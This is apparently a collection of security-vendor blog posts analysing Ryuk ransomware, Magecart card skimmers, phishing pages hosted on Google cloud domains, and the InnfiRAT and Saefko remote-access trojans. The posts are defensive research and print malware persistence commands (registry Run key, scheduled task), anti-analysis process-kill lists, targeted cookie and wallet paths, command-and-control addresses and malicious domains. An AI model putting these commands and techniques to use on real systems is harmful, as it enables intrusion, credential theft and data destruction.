Unlike other ransomware, Ryuk is distributed by common botnets, such as Trickbot and Emotet, which have been widely used as banking trojans. In this blog, we'll provide an analysis of how the Ryuk ransomware can encrypt a victim's data while blocking the infected system from restoring the data. 



Ryuk dropper contains both 32-bit and 64-bit payloads. The dropper checks to see if it is being executed in a 32-bit or 64-bit OS using the "IsWow64Process" API and drops the payload accordingly. It also checks the version of the operating system. If it is executed in Windows XP, it drops the Ryuk payload at "C:\Documents and Settings\Default User\{random-5 char}.exe". If it is executed in Windows Vista or later versions of Windows, it drops the file at "C:\users\Public\{random-5 char}.exe”. Next, it executes the payload using the ShellExecuteW API.


Persistence mechanism

Ryuk adds the following registry key so it will execute at every login. It uses the command below to create a registry key:

""C:\Windows\System32\cmd.exe" /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\Public\{random-5 char}.exe" /f"


Process injection

Ryuk injects its main code into several remote processes. Ryuk enumerates the process by calling the CreateToolhelp32Snapshot API and injecting its code in all the processes except the ones named explorer.exe, lsaas.exe and csrss.exe, telling it that it should not be executed by the NT AUTHORITY.

Ryuk ransomware terminates processes and stops services contained on a predefined list. These processes and services are mostly antivirus tools, databases, backups, and other software. The screenshot below shows the list of services stopped by Ryuk.

Figure 1: The list of services disabled by the Ryuk ransomware.

The screenshot below shows the list of processes terminated by Ryuk.

Figure 2: The list of processes terminated by the Ryuk ransomware.

Ryuk also deletes shadow copies and other backup storage files by using a .BAT file so that the infected system can’t restore data. Below is the list of commands used by Ryuk to perform these deletions.

Figure 3: The list of commands used by Ryuk ransomware to delete shadow copies and other backup storage files.


Encryption and similarity with Hermes ransomware

Ryuk uses a combination of RSA (asymmetric) and AES (symmetric) encryption to encrypt files. Ryuk embeds an RSA key pair in which the RSA private key is already encrypted with a global RSA public key. The sample generates an AES-256 key for each file and encrypts the files with an AES key. Further, the AES key is encrypted with an embedded public key and is appended at the end of the encrypted file. If all the samples contain the same RSA key pair, then after getting access to one private key, it's easy to decrypt all of the files. But Ryuk contains a different RSA key pair for every sample. Some samples append the ".RYK" extension and some don't append any extensions after encrypting the files.

Ryuk has a common feature with Hermes ransomware. During encryption, Ryuk adds a marker in the encrypted file using the keyword “HERMES”. Ryuk checks for the HERMES marker before encrypting any file to know if it has been already encrypted. The screenshot below displays the HERMES marker and encrypted AES key appended at the end of the encrypted file.

Figure 4: The HERMES marker and the encrypted AES key.

Ryuk encrypts files in every drive and network shared from the infected system. It has whitelisted a few folders, including “Windows, Mozilla, Chrome, Recycle Bin, and Ahnlab” so it won’t encrypt files inside these folders. Ryuk drops its ransom note, named RyukReadMe.txt, in every directory. Ryuk asks for the ransom in bitcoin, providing the bitcoin address in the ransom note. Ryuk contains different templates for the ransom note. Below is a screenshot for RyukReadMe.txt file.

Figure 5: Ryuk ransomware ransom note.

After completing the encryption, Ryuk creates two files. One is “Public” and contains an RSA public key while the second is “UNIQUE_ID_DO_NOT_REMOVE” and contains a unique hardcoded key.



While most ransomware is spread using spam email and exploit kits, Ryuk is delivered as a payload of the Emotet and Trickbot malware. Looking at the encryption process and ransom demands, Ryuk is targeting big enterprises in the hopes of large payoffs. Zscaler ThreatLabZ team continues to monitor this threat to ensure that Zscaler customers are protected.







- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Rajdeepsinh Dodia and Amandeep Kumar are security researchers on the Zscaler ThreatLabZ team.

Thu, 10/10/2019 - 10:08 Ransomware Blogs
Magecart hits again, leveraging compromised sites and newly registered domains

During alert monitoring, ThreatLabZ researchers came across multiple cases of shopping sites being compromised and injected with a skimming script. This injected script looks for the payment method and personally identifiable information (PII) and captures supplied financial information which is then sent to an adversary-controlled gate server even before the user hits the submit form. There have been multiple reports published related to Magecart activity, and ThreatLabZ has blogged about the hacker group’s activities in the past. (Read previous blogs from September 2018 and July 2019.)

In this blog, we will provide an overview of the current skimming campaigns with an analysis of those that use compromised sites to host the skimmer code and those that use newly registered domains.

The following screen capture shows the Magecart hits we observed over the last 90 days. The activity appears to be fairly consistent week to week, with a spike at the end of the analysis period, and we believe it is likely to continue.

Figure 1: Last 90-day hits on compromised sites (Y-axis: Hits, X-axis: date)

Figure 1: Hits on compromised sites over 90 days (x-axis=date, y-axis=hits)

Most of the impacted websites are in the shopping category. The following graph shows the cloud-wide statistic for the number of unique domains per category for the sites impacted.

Figure 2: URL categories of impacted sites (x-axis=URL category, y-axis=unique domain counts)

This Magecart-based skimming campaign did not reveal any novel tactics, tools, or procedures, but it seems to be more structured in terms of the scripts being used across multiple compromises, similar gate URL parameter patterns, and the algorithm used for data encoding.

The cycles we observed were generally the same, but we did see some differences. Some use obfuscation to hide the script injection code and use another compromised site for hosting the skimmer script, while others make use of newly registered domains for skimmer script hosting. Regardless of the loading script, the skimmer code possesses little to no obfuscation.

Cycle 1:

Compromised site loads skimmer code from another compromised site

The following image shows a Fiddler session to demonstrate the skimming chain.

Figure 3: Fiddler session for Magecart skimming

In these skimming campaigns, we can see compromised sites sending captured payment information to domains that are either newly registered or compromised and under the control of an adversary. In the following example, the gate site is compromised as well and was registered on 2013-03-19.

Figure 4: Example of injected script and skimmer code

The way this skimmer code operates is to wait for the user to fill in the personal information and payment method and capture it all before the user hits the submit button. This captured information is then encoded using the Base64 algorithm and sent to the gate URL in a GET request.

Figure 5: Skimmer script sending base64 encoded PII and Payment Information GET Request


Cycle 2:

Compromised site loads skimmer code from a newly registered domain

As shown in the image below, the skimming script is being hosted on a domain registered just 10 days before this analysis.

Figure 6: Compromised site leveraging skimmer script from a newly registered domain

All the skimmer scripts we’ve identified so far are similar, and we observed the following common gate URL pattern:

  • hxxps://domain/{path}.(php|js)?hash=[base64data]

Figure 7: Skimmer script differences

We saw multiple cases where the same skimmer code locations were being used in multiple compromised sites, including:

  • custommagnetsdirect[dot]com/catalog/view/javascript/jquery/jquery.sticky.js
  • matteola[dot]com/js/varien/js.js

The image below shows examples of skimmer code locations being used for multiple compromised sites.

Figure 8: The same skimmer code locations used in multiple compromised sites


Magecart has been successful for years because attackers have improved their techniques for injecting malicious code and hiding it from detection. Now, we are seeing attackers able to steal payment card information before it is even submitted. Zscaler ThreatLabZ actively tracks such campaigns and protects customers from skimming and other types of data-stealing attacks.


Common skimmer JS URL patterns


Bad domains Creation date
api-googles[dot]com 2019-03-30T18:40:29Z
cloudflara[dot]org 2019-07-10T19:16:22Z
developer-js[dot]info 2019-03-07T21:29:25Z
facebookfollow[dot]com 2019-07-21T02:29:39Z
googletagmanager-service[dot]com 2019-02-09T23:28:49Z
gooqleadvstat[dot]com 2019-09-13T11:22:10Z
jquery-cdn[dot]top 2018-09-28T07:41:02Z
jquery-js[dot]com 2017-01-02T11:21:35Z
jquery[dot]su 2019-02-27T19:12:36Z
jquerycodemagento[dot]com 2019-08-11T13:05:43Z
magento-security[dot]org 2017-11-14T16:32:41Z
magento-track[dot]com 2018-12-28T20:44:11Z
script-analytics[dot]com 2019-08-13T22:16:38Z


Mon, 09/30/2019 - 23:21 Analysis,Compromise,Obfuscation Blogs
Phishing attacks abusing and domains on Google Cloud

In July, Zscaler ThreatLabZ posted a blog about a rise in the use of Microsoft Azure domains to host phishing attacks. Our researchers recently detected similar activity on the Google domains and is a cloud computing platform for developing and hosting web applications in Google-managed data centers. is a mobile platform used for building mobile apps hosted by Firebase, which is Google’s mobile app platform.

These campaigns use SSL certificates issued by and, and they have well-designed login pages that attempt to spoof popular brands widely used in business, such as Dropbox Business, Microsoft Outlook and SharePoint, and DocuSign. They are designed to capture login credentials, which are sent to a remote server.

In the analysis that follows, we’ll describe the techniques these campaigns use to avoid detection and we’ll show the phishing domains and the locations where the user credentials are being sent.

As of this date, many of these subdomains on and are not being flagged by VirusTotal.


Fig 1: VirusTotal detections for the subdomains hosted phishing pages

The following screenshots are phishing pages of some of the sites that have used an SSL certificate issued by

Fig 2: Microsoft login phishing page 


Fig 3: SSL certificate page of the hosted phishing URL hosted phishing pages

Fig 4: Google Drive login phishing page


Fig 5: Outlook login phishing page


Fig 6: Dropbox login phishing page


Fig 7: DocuSign login phishing page



Fig 8: OneDrive login phishing page


Fig 9: OneDrive login phishing page


Fig 10: OneDrive login phishing page

Evasion techniques

This is a sophisticated phishing campaign as demonstrated by the well-designed phishing pages that are difficult to distinguish from legitimate pages.

In addition, the attackers are using the latest tactics to evade detection from scan engines, with most of the code written in an external JavaScript file. This filename is 32 characters long and different for every site. 

Below is the source code of the phishing pages; the highlighted part is the external JavaScript mentioned above.

Fig 11: Source code of phishing page

Fig 12: Source code of phishing page

In the above landing page source code of the phishing URL, there is less content, no brand name, and no catchy strings that are common in most phishing campaigns. This enables it to bypass many automatic analysis engines and extend its survival.

The following screenshots show the code and the location where the user credentials are being sent. This code is present in randomly named, externally added JavaScript files.

Fig 13: Location used by the attacker to collect user credentials 

Fig 14: Location used by the attacker to collect user credentials

The following figure shows a sample packet capture for this data being sent to the attacker’s site. 

Fig 15: Packet capture for the data that has been sent to the attacker’s site


Zscaler is actively blocking these phishing pages. The following screen capture shows Zscaler detection for one of these pages:

Fig 16: Zscaler successfully detects these domains 


Phishing domains

As of the writing of this blog, we have collected the following phishing domains.



Where information is sent 

Below are the locations where the phishing page is sending credentials entered by the user. 



Thu, 09/26/2019 - 12:15 Phishing Blogs
InnfiRAT: A new RAT aiming for your cryptocurrency and more

Recently, the Zscaler ThreatLabZ team came across a new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine. This blog provides an analysis of this new RAT, including the way it communicates, all the tasks it performs, and the information it steals.  


As with just about every piece of malware, InnfiRAT is designed to access and steal personal information on a user's computer. Among other things, InnfiRAT is written to look for cryptocurrency wallet information, such as Bitcoin and Litecoin. InnfiRAT also grabs browser cookies to steal stored usernames and passwords, as well as session data. In addition, this RAT has ScreenShot functionality so it can grab information from open windows. For example, if the user is reading email, the malware takes a screenshot. It also checks for other applications running on the system, such as an active antivirus program.  

InnfiRAT sends the data it has collected to its command-and-control (C&C) server and requests further instructions. The C&C can also instruct the malware to download additional payloads onto the infected system.  

Technical analysis

1) Before executing the main payload, the malware initially checks whether the file is executing from %AppData% directory or not with the name NvidiaDriver.exe. If not, then a web request is sent to “iplogger[.]com/1HEt47" (possibly to check network connectivity).

2) It records all the running processes in an array, then iterates through each process and checks whether any process is running with the name NvidiaDriver.exe. If so, the malware kills that process and waits for an exit.   Figure 1: Checks execution location, terminates process with name NvidiaDriver           

3) InnfiRAT copies itself as %AppData%/NvidiaDriver.exe and executes it from %AppData% before terminating the current process.

               Figure 2: The malware makes a copy of itself in %AppData%   

4) After confirming the path of file execution, it writes a Base64 encoded PE file in memory, which is later decoded in its actual format and is loaded after changing the entry point of the file. This is also a .NET executable and contains the actual functionality of the malware.  

Figure 3: Embedded PE file in encoded form
  Figure 4: Embedded PE file is decoded and executed

Analysis of embedded .NET executable

All the strings inside the file are encoded with a custom encoding scheme that utilizes the XOR operation. Figure 5: Strings decoding logic  

As the execution of the malware starts, it checks for the presence of VM environment. It does so by checking the return value from the routine JкыnеюwPреюLLщzьhdкXoJxбюHхрйFWрDлнруG7574208083337. If the return value is equal to the first value, enum[0], defined in the enum shown below, then it continues the execution or else it terminates.

  Figure 6: User-defined enum structure  

After performing the VM checks, the malware obtains the country and HWID information of the machine it is running on. To obtain the country information, it calls the routine EjarVhXфf8752612307563884480() [FetchNetworkInfo] and fetches the Country key value from the returned data in JSON format. Similarly, to obtain the HWID, it calls the routine ubобмдGogBлzWKrgrыaZucвлC33208440168().

Anti-VM checks

Inside the JкыnеюwPреюLLщzьhdкXoJxбюHхрйFWрDлнруG7574208083337() [VMDetection] routine:

Note: All the enum values are referenced using enum[index] during analysis where the index starts from 0.

1. Performs WMIquery to obtain the following information:

"Manufacturer" "Caption" "Name" "ProcessorId" "NumberOfCores" "NumberOfLogicalProcessors" "L2CacheSize" "L3CacheSize" "SocketDesignation"

It then checks, one-by-one, if the manufacturer contains one of the below-mentioned strings and returns the value from the enum as specified:

“VBoxVBoxVBox”                   returns enum[2] “VMwareVMware”                  returns enum[1] “Prl hyperv                               returns enum[3] “Microsoft Corporation”        returns enum[4]

2. WMIquery is performed again but this time to obtain the following information:

"DeviceID" "MediaType" "Model" "PNPDeviceID" "SerialNumber"

A check is performed if the PnpDeviceId contains one of the below strings and returns the value from the enum as specified:

“VBOX_HARDDISK”             returns enum[2] “VEN_VMWARE”                  returns enum[1]

If none of the above conditions match, it returns enum[0].


Machine network information

Inside the EjarVhXфf8752612307563884480() [FetchNetworkInfo] routine:

A web request is sent to the following URL https://ipinfo[.]io/json and the received data is returned from the function. The received data contains the following information:

  "ip"   "city"   "region"   "country"   "loc"   "postal"   "org"  

Figure 7: Web request being made


Network communication  

Inside the мMлFкCцеGPбiбqюK1559516831() [CreateDuplexChannel] routine:

InnfiRAT sets up a duplex channel with the name “IVictim” using DuplexChannelFactory tcp://62[.]210[.]142[.]219:17231/IVictim  

Figure 8: Creating a duplex channel with C&C server  

After forming the duplex channel with the name IVictim, it uses the IVictim interface, which contains the following methods:

“Subscribe” “CompleteTask” “GetDlls” “AvailableTasks”  

Figure 9: Available methods in the IVictim interface

Inside the SуkdVkцiшkUояUuчPуюяmмuty187968776() [SubscribeVictim] routine:

InnfiRAT calls the subscriber method from the IVictim interface with login = “innfiniti”  

Figure 10: The subscribe method from the IVictim interface is invoked

Inside the хaxeYхсиghIжNпDмвQюwkуpкgимuбсфbnдбMвMC67210633684721828() [GetAndExecuteSpecifiedTask] routine:

InnfiRAT obtains the tasks inside a UserTask list by invoking AvailableTasks where UserTask has the following keys:

“ID” “Action” “URL” “FinalPoint” “Current”  “Status” “Country” “RunSilent” “Argument”

It iterates through each task. On each iteration, it first checks for the country value received to be equal to “ALLOR  the one present in the BasicInfoVictim class, which was obtained earlier AND the action to perform is "DownAndEx" and the URL value is available.      If the above conditions match, then the CompleteTasks method is called with three arguments: 

“login” “hwid” “TaskID”  

The RAT calls the routine rLPсаWFоWcTjzпTэBFWkъмзтшпD147152108377454681517643543() [ExecuteFile] with three arguments to execute the file. Arg1 = Path of the file to be executed [obtained from the URL] Arg2 = Arguments to the file to be executed [obtained from Argument key of current UserTask element] Arg3 = true/false [Obtained from RunSilent key of current UserTask element]

After iterating all items in the UserTask list, it sleeps for 30,000 milliseconds.  

Figure 11: Country, action, and URL checks are performed and the specified task is completed  

Process checks

Inside the LlсiсkнwychhVзjзNзxрFrUOE4656655235232302206601527615541285() [ProcessCheck] routine:

All the running processes in the system are obtained, their names are converted to lowercase and then a check is performed to see if the name matches with any of the following strings: 

“taskmgr” “processhacker” “procmon” “procexp” “pchunter” “procexp64”

If there are any matches, the process terminates. Below are the snapshots depicting the actions performed.  

Figure 12: Obtaining processes, converting their names to lowercase, checking specific processes


Figure 13: Converting ProcessName to lowercase


Figure 14: Checking for above-mentioned running processes (process names are obfuscated here)

Inside wYxйыrоyTHuLдTч212065() [KillProcesses] routine:

InnfiRAT obtains the list of all processes running in the system and kills any process whose name contains one of the following strings: “chrome” “browser” “firefox” “opera” “amigo” “kometa” “torch” “orbitum”  

Figure 15: Kills processes that contain any of the above-mentioned strings

Scheduled execution

Inside the эйviMhйсuьZCпJфшcкLйшuв348374() [ScheduleMalwareExecution] routine:

The CMD (cmd.exe) command string is constructed and executed to schedule the malware execution. The command string looks like below: 

/C schtasks /create /tn WindowsUpdater /tr "%AppData%NvidiaDriver.exe " /st HH:mm  /du 9999:59 /sc daily /ri 1 /f  

Figure 16: CMD command is constructed and executed  

C&C commands

Here are some tasks performed by the malware based on the commands received from C&C server:

1. SendUrlAndExecute(string URL)

InnfiRAT downloads the file from the specified URL by calling the routine жRfаeQbrwйfsLGыhчUrEжьFхaяGчрлCдtGжSofьQvдnIмs8383484343838630833542717281211() [DownloadFileFromUrl]. Inside this routine, a directory is first created with the name TEMP inside the %AppData% if it doesn’t exist. Then the file is downloaded and saved inside this folder with the name extracted from the passed URL. The URL passed is broken into parts via delimiter ‘/’ and the last item is used as the file name.  

Figure 17: Create folder and download file  

Once the download is complete, it calls the routine rLPсаWFоWcTjzпTэBFWkъмзтшпD147152108377454681517643543() [ExecuteFile] with three arguments to execute the downloaded file. Arg1 = Path of the file to be executed Arg2 = Arguments to the file to be executed Arg3 = true  

Figure 18: Execute the downloaded file

2. ProfileInfo()

Inside the routine, it collects the following information:

“NetworkInfo”:{ "ip"  "city" "region" "country" "loc" "postal" "org" } “PCAdmin” “PCInformation” :{ “FrameWorkDescription” “Processors” “PRocessorsCore” “VideoCards” } 

It then sends the information to the C&C server. Figure 19: UserProfile info being collected and sent to the C&C server  

3. LoadLogs()

It calls the GetDlls() routine, which obtains information inside a list of type DownloadDll where DownloadDll has two keys:

“Path”,                     represents a relative path to an .exe file “ByteArray”            binary data  

Figure 20: GetDlls being called  

After fetching the list, InnfiRAT traverses each element inside the list via a for-loop. Inside the for-loop:

The value of the Path key is split using delimiter “\\”. The second value in the split is the name of the directory. A check is performed to see if the count after the split is greater than 2 and there is no directory with the name obtained from the Path key split inside the executing module directory. If the check is true, a directory with the obtained name is created. 

A check is performed if no file exists specified by Path key in the executing module directory. If the check is true, it creates the file and writes the value of ByteArray to this created file. 

The routine wYxйыrоyTHuLдTч212065() [KillProcesses] is called.

Finally, data obtained from UserProfile() is sent to the C&C server.  

Figure 21: A directory is created, file is created, and KillProcesses is called; response is sent to the C&C server


4. LoadCookies()  - Steal Browser Cookie information

InnfiRAT calls the GetDlls() routine, which obtains information inside a list of type DownloadDll where DownloadDll has two keys:

“Path”                    represents a relative path to an .exe file “ByteArray”          binary data  

Figure 22: GetDlls being called  

After fetching the list, the malware traverses each element inside the list via for-loop. The following occurs inside the for-loop:

The value of the Path key is split using the delimiter “\\”. Second, the value in the split is the name of the directory. A check is performed if the count after the split is greater than 2 and there is no directory with the name obtained from the Path key split inside the executing module directory. If the check is true, a directory with the obtained name is created. 

A check is performed if no file exists specified by the Path key in the executing module directory. If a check is true, it creates the file and writes the value of ByteArray to this created file.   

Figure 23: Directory is created, file is created  

It creates an empty list of BrowserCook type where BrowserCook has two keys, namely: “CookiePaths” “BrowserName”

The name and corresponding cookie path are retrieved for the following browsers one by one:

“Chrome” “Yandex” “Kometa” “Amigo” “Torch” “Orbitum” “Opera” “Mozilla”

A BrowserCook type element is created with the fetched information and is added to the list created earlier.  

Figure 24: Browser info is retrieved and added to the list  

It creates an empty list of BrowserCookie type where BrowserCookie has three keys, namely:  “Browser” “FileName” “FileArray”

Inside, two for-loop elements of the BrowserCookie type are created, where the Browser key and FileArray key are both assigned values using the information from the previously created BrowserCook list and the FileName is set to _Cookie.txt if the browser name for the current element is not “Mozilla”, or else it is set to Cookie.txt.  

Figure 25: BrowserCookie elements list is built  

The harvested BrowserCookie list is then sent to the C&C server and the temporary file and directory are deleted.  

Figure 26: File and directory is deleted

5. LoadWallets() - Steal Bitcoin Wallets

The malware creates an empty list of the BitcoinWallet type where BitcoinWallet has two keys, namely: “WalletArray” “WalletName”

A check is performed to see if a file for a Litecoin or Bitcoin wallet is present in the system at the following location:

Litecoin: %AppData%\Litecoin\wallet.dat Bitcoin: %AppData%\Bitcoin\wallet.dat

If it is found, then the element of type BitcoinWallet is added to the list after assigning a name to the WalletName key and reading the corresponding wallet file in the WalletArray key.  

Figure 27: File presence is checked, BitcoinWallet element is added to the list  

Finally, the created list is sent in response to the C&C server.  

Figure 28: List is sent in response to the C&C server  

6. LoadFiles() - Steal small text files potentially containing sensitive information

InnfiRAT collects all the .txt files available on the desktop whose size is less than 2,097,152 bytes inside a list of CustomFile types. CustomFile has two keys namely:  “Name”   “FileArray”

The created list is sent in response to the C&C server.  

Figure 29: Files are collected and sent to the C&C server  
Figure 30: Inside HcапkцтеuxчI46156665847187238336657104255061.лQtdjюAKMCdскHUжfъqZTzmMнуз68532317728035381607276587242500 [CollectFiles]  

7. LoadProcesses() - Get the list of running processes on the victim machine

InnfiRAT creates an empty list of type ProcessInfo where ProcessInfo has three keys, namely: “ID” “Name”  “Path”

It obtains the list of all the processes running in the system and sends the list in response to the C&C server.   

Figure 31: Process information is obtained and the list is sent to the C&C server  

8. Kill(int process) - Command to Kill a specific process on the victim machine

InnfiRAT obtains the list of all the processes running in the system and then inside a for-loop, the processID of obtained processes is compared with the processID passed as an argument to this routine one at a time. If there is a match, the process is killed and the flag variable is set to true.

Finally, a response is sent to C&C server.  

Figure 32: Process is killed and response is sent  

9. Screenshot() - Take a screenshot on the victim machine

It calls the qюFpьGoJv97921676245() [CaptureScreenshot] routine and the returned value is sent to the C&C server.  

Figure 33: Screenshot captured and sent to the C&C server  
Figure 34: Inside the qюFpьGoJv97921676245() [CaptureScreenshot] routine  

10. RunCommand(string command) - Execute specified command on the victim machine

This creates a new CMD process, builds the command line argument using the command passed as an argument to this routine, and finally starts the process.

Command line argument:   /c  +  “ ” + command  

Figure 35: Received command is executed  

11. ClearCooks() - Clears browser Cookies on the victim machine for specific Browsers

InnfiRAT creates an empty list of BrowserCook type where BrowserCook has two keys, namely: “CookiePaths”  “BrowserName”

The name and corresponding cookie path are retrieved for the following browsers one by one:

“Chrome” “Yandex” “Kometa” “Amigo” “Torch” “Orbitum” “Opera” “Mozilla”  

A BrowserCook type element is created with the fetched information and is added to the list created earlier. Figure 36: Browser info is retrieved and added to the list  

The routine wYxйыrоyTHuLдTч212065() [KillProcesses] is called.

The BrowserCook type list created earlier is traversed and cookies files are deleted using CookiePaths key value.

Finally, a response is sent to the C&C server.  

Figure 37: The routine wYxйыrоyTHuLдTч212065() [KillProcesses] is called, cookie files are deleted, and response is sent to the C&C server


A RAT, remote-access trojan, is a type of malware that includes a backdoor, giving intruders the ability to control the targeted computer remotely and enabling them to perform any number of tasks, such as logging keystrokes, accessing confidential information, activating the system's webcam, taking screenshots, formatting drives, and more. They can also be designed to spread to other systems on a network.

Because RATs are usually downloaded as a result of a user opening an email attachment or downloading an application that has been infected, the first line of defense is often the users who must, as always, refrain from downloading programs or opening attachments that aren't from a trusted source.

The ThreatLabZ team continues to monitor this threat and ensure that Zscaler customers are protected.



Md5: f992dd6dbe1e065dff73a20e3d7b1eef

Downloading URL: rgho[.]st/download/6yghkhzgm/84986b88fe9d7e3caf5183e4342e713adf6c3040/df3049723db33889ac49202cb3a2f21ac1b82d5b/

NetworkURL: tcp://62[.]210[.]142[.]219:17231/IVictim

Thu, 09/12/2019 - 12:07 Malware Blogs
Saefko: A new multi-layered RAT

Recently, the Zscaler ThreatLabZ team came across a new remote-access trojan (RAT) for sale on the dark web. The RAT, called Saefko, is written in .NET and has multiple functionalities. This blog provides a detailed analysis of this piece of malware, including its HTTP, IRC, and data stealing and spreading module.  


A RAT is a type of malware that includes a backdoor for remote administrative control of the targeted computer. RATs are usually downloaded as a result of a user opening an email attachment or downloading an application or a game that has been infected. Because a RAT enables administrative control, the intruder can do just about anything on the targeted computer, such as monitoring user behavior by logging keystrokes, accessing confidential information, activating the system's webcam, taking screenshots, formatting drives, and more.

Upon successful infection, the Saefko RAT stays in the background and executes every time the user logs in. It fetches the chrome browser history looking for specific types of activities, such as those involving credit cards, business, social media, gaming, cryptocurrency, shopping, and more. It sends the data it has collected to its command-and-control (C&C) server and requests for further instructions. The C&C instructs the malware to provide system information and the RAT will begin to collect a range of data including screenshot,videos, keystroke logs and more. The C&C can also instruct the malware to download additional payload onto the infected system.

RATs present a unique business threat. They have the ability to steal a lot of data without being detected and spread to other systems across the network. The ThreatLabZ team also detonated the Saefko RAT in the Zscaler Cloud Sandbox to determine its functionality, communications, and the potential threat.  

Technical Analysis of the Saefko RAT

Saefko malware unpacks itself and places the saefkoagent.exe file in “/%AppData%/Roaming/SaefkoAgent.exe” and executes it. It also copies itself to “/%AppData%/Roaming/windows.exe” and "/%AppData%/Local/explorer.exe” and executes them.

Autostart Key

The Saefko malware creates a startup key to execute the malware at every login. If it is executing from an admin account, it creates the following registry key: “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer” Otherwise, it creates a registry key in the following path: “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer


Saefko first checks to see whether the internet connection is active by connecting to “”. It then uses a unique technique to identify if the infected system contains any vital information. It fetches the browser history and searches for particular websites that have been visited by the user and makes a count based on the categories mentioned below. From the counts, the attacker can determine which systems it should target first from all the infected systems.

The list of different categories it searches include:

Credit card possibility 2c2p
BIPS pagseguro    


Gaming activity value    

Cryptocurrency value  


Instagram activity


Facebook activity


Youtube activity


Google+ activity


Gmail activity


Shopping activity    


Business value    


Saefko also collects additional user application data, including:

Command Description
irc_channel IRC channel name
irc_nickname Nickname
irc_password IRC channel Password
irc_port IRC Port for communication to a server
irc_server Server name
machine_active_time System uptime
machine_artct Machine Architecture
machine_bitcoin_value Number of cryptocurrency sites visited by the user
machine_business_value Number of business sites visited by the user
machine_calls_activity 0
machine_camera_activity No. of “.png” files present on the desktop
machine_country_iso_code Country code fetch from “”
machine_lat latitude
machine_lng longitude
machine_creadit_card_posiblty Checks the number of payment sites visited by the user
machine_current_time Taking machine current time
machine_facebook_activity Checks the number of times the user visited facebook
machine_gaming_value Checks the number of times the user visited gaming websites
machine_gmail_avtivity Checks the number of times the user visited gmail
machine_googleplus_activity Checks the number of times the user visited google+
machine_instgram_activty Checks the number of times the user visited Instagram
machine_ip Machine IP
machine_lat The geographic location of the system (latitude)
machine_lng The geographic location of the system (longitude)
machine_os_type 1
machine_screenshot Captures screenshot and encode it in base 64
machine_shooping_activity Checks number of times shopping sites visit by the user


The RAT sends the collected data to a command and control server as shown below:

After getting an "ok" response from the server, Saefko begins the "StartServices" function, which has four different infection modules:

  • HTTPClinet
  • IRCHelper
  • KEYLogger
  • StartLocalServices (USB spreading)

HTTP Clinet

(Possible misspelling of HTTP Client by the author)

The RAT sends a request to the server, requesting for a new task. It sends a command “UpdateAndGetTask” and also sends other information, including machine_ID, machine_os, and privateip, as shown below:

The task is the URL from which the malware downloaded the new payload and executed it on the infected machine.

Key Logger

The malware uses the SetWindowsHookEx API for capturing keystrokes. It stores the captured keystrokes into a “log.txt” file. The filepath is: “\%AppData%\Local\log.txt.”

IRC Helper

First, the malware disconnects the current IRC connection. Then, it sends status information to the C&C as shown below:

  • pass: password
  • command: UpdateHTTPIRCStatus
  • machine_id: unique id sent by C&C in an earlier request
  • irc_status: 1 

Next malware fetch 

  • Serverlist: it selects a server from the list below.
  • Port: port 
  • Nickname: generates a random 7 character name 

List of IRC servers and ports

IRC server Port IRC server Port 6667 6667 6667 6667 6669 6669 6667 6667 6667 6669 6667 6667 6667 7000 6667 6669 6667 6667 6667 6667 6667 6667 6667 6667 6669 6667 6669 6667 6667 6669 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6669 6667 6667 6668 6667    


Saefko connects to one of these servers and waits for a response. In the response, it checks for “T_T” string and any separate messages using that string. Below is the list of IRC functions that the RAT can perform. According to the command it receives, Saefko will respond with corresponding data.

List of IRC Commands

IRC Command Description
dexe Download a file from a given URL and execute it
hdexe Download a file from a given URL and execute it (UseShellExecute=false)
vistpage Open URL
hvistpage Open URL (UseShellExecute = false)

Captures video frame, converts into Base64 and sends to C&C (Detailed information explained below); also replies “.oksnapshot”

shell Executes command using cmd.exe
tcp Makes a tcp connection using a given IP and port.

Send system information:

OS type: Microsoft windows

OS version: OS version

OS Username: username

OS MachineName: System name

OS SystemDirectory: System Directory

opencd Open CDROM drive. Command: set CDAudio door open
closecd Close CDROM drive. Command: set CDAudio door closed
screenshot Capture screenshot, encode it into Base64 and send to C&C
ping Reply “okping”

Gets the video devices from the system and sends information to the C&C.Detailed information explained below.

pwd Current directory

Gets the system location using “

IP, city, region, country, latitude and longitude

keylogs Encode the keylog file (log.txt) using base64 and send it to C&C
uninstall Delete the autostart registry key (RUN) and terminate itself.



Saefko also searches for the following payloads in the system:

  • AForge.dll
  • AForge.Video.DirectShow.dll
  • AForge.Video.dll
  • Sqlite3.dll

If these files are not present, the malware sends a request to the C&C to download these files. Next, it searches for a list of video input devices on the targeted system and sends the related information to the C&C.


Saefko also captures videos from the device present on the system, encodes the video frame with Base64 and sends it to the C&C.

Start USB Service

Saefko checks to see if the drive type is either removable or networked, after which it starts the infection and copies the files below onto a removable drive.

  • Sas.exe
  • USBStart.exe
  • usbspread.vbs

Sas.exe is a copy of the malware itself. USBStart.exe is fetched from the resource section of the main binary. It contains code to execute Sas.exe. It creates a usbspread.vbs file then executes it. It searches every directory and all the files and creates a "lnk" file for each file and directory with a target path USBStart.exe file. When the removable device is plugged in any other system, the user is tricked into clicking a lnk file as the main files and folder are hidden. Lnk file executes the USBStart.exe that ends up executing Sas.exe which is the main payload. So it futher infect other Systems.

Below is the code of the usbspread.vbs file:

One online forum has an ad for a cracked Saefko RAT tool as shown below. It is a multi-protocol, multi-operating system remote administration tool that can be used to launch the malware on Windows and Android devices.



To protect systems from RATs, users must refrain from downloading programs or opening attachments that aren't from a trusted source. At the administrative level, it's always a good idea to block unused ports, turn off unused services, and monitor outgoing traffic. Attackers are often careful to prevent the malware from doing too much activity at once, which would slow down the system and possibly attract the attention of the user and IT.

Zscaler ThreatLabZ team continues to monitor this threat and others to ensure that Zscaler customers are protected.  


Md5: D9B0ECCCA3AF50E9309489848EB59924 C4825334DA8AA7EA9E81B6CE18F9C15F 952572F16A955745A50AAF703C30437C 4F2607FAEC3CB30DC8C476C7029F9046 7CCCB06681E7D62B2315761DBE3C81F9 5B516EAB606DC3CC35B0494643129058

Downloader URL: industry.aeconex[.]com/ 3.121.182[.]157/dwd/explorer.exe 3.121.182[.]157/dwd/vmp.exe deqwrqwer.kl[.] maprivate[.]date/

